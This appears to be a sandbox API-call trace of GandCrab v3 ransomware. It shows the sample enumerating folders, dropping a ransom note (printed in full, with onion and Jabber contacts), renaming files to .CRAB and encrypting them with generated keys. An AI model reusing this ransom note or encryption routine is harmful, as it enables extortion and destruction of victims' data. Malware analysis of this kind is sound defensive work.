	[0111.195] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.196] CloseHandle (hObject=0x3f0) returned 1
	[0111.198] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned 73
	[0111.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*"
	[0111.198] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7130
	[0111.199] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.199] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.199] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.199] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.199] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.199] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0111.199] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0111.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033"
	[0111.199] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\"
	[0111.199] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.199] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.199] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.199] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.199] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.199] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.200] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.200] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.200] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.200] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.200] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\CRAB-DECRYPT.txt") returned 95
	[0111.200] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.202] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.202] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.202] CloseHandle (hObject=0x3f4) returned 1
	[0111.203] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.203] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned 78
	[0111.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*"
	[0111.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda6f30
	[0111.203] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.203] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.203] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.203] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.203] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.203] lstrcmpW (lpString1="16", lpString2=".") returned 1
	[0111.203] lstrcmpW (lpString1="16", lpString2="..") returned 1
	[0111.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16"
	[0111.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\"
	[0111.204] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.204] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.204] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.204] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.204] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.204] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.204] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.205] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\CRAB-DECRYPT.txt") returned 98
	[0111.205] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.219] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.219] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.219] CloseHandle (hObject=0x3f8) returned 1
	[0111.220] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.220] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned 81
	[0111.220] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*"
	[0111.220] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda7370
	[0111.220] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.220] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.220] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.220] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.220] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.221] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2=".") returned 1
	[0111.221] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2="..") returned 1
	[0111.221] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx"
	[0111.221] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.221] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110
	[0111.221] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110
	[0111.221] lstrlenW (lpString=".dotx") returned 5
	[0111.221] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.222] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dotx ") returned 6
	[0111.222] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110
	[0111.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned 110
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="desktop.ini") returned -1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="autorun.inf") returned 1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="ntuser.dat") returned -1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="iconcache.db") returned -1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="bootsect.bak") returned 1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="boot.ini") returned 1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="ntuser.dat.log") returned -1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="thumbs.db") returned -1
	[0111.222] lstrcmpiW (lpString1="Built-In Building Blocks.dotx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0111.222] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.223] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB") returned 115
	[0111.223] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx")) returned 0x20
	[0111.227] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", dwFileAttributes=0x20) returned 1
	[0111.227] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.crab")) returned 1
	[0111.228] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.228] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB"
	[0111.228] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB.CRAB"
	[0111.228] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0111.229] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.229] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.229] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0111.230] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0111.230] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.230] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0111.230] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.231] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.231] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0111.231] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0111.231] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.231] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.231] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.232] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0111.232] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda6f70) returned 1
	[0111.232] CryptGetKeyParam (in: hKey=0xda6f70, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.232] CryptEncrypt (in: hKey=0xda6f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0111.233] GetLastError () returned 0x0
	[0111.233] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0111.233] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0111.233] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda7030) returned 1
	[0111.233] CryptGetKeyParam (in: hKey=0xda7030, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.234] CryptEncrypt (in: hKey=0xda7030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0111.234] GetLastError () returned 0x0
	[0111.234] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.234] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.234] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.235] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.235] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0111.267] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.284] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0111.306] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.309] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.309] WriteFile (in: hFile=0x3e0, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0111.312] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.314] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0111.326] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0111.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0111.357] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.362] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.362] WriteFile (in: hFile=0x3e0, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0111.364] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
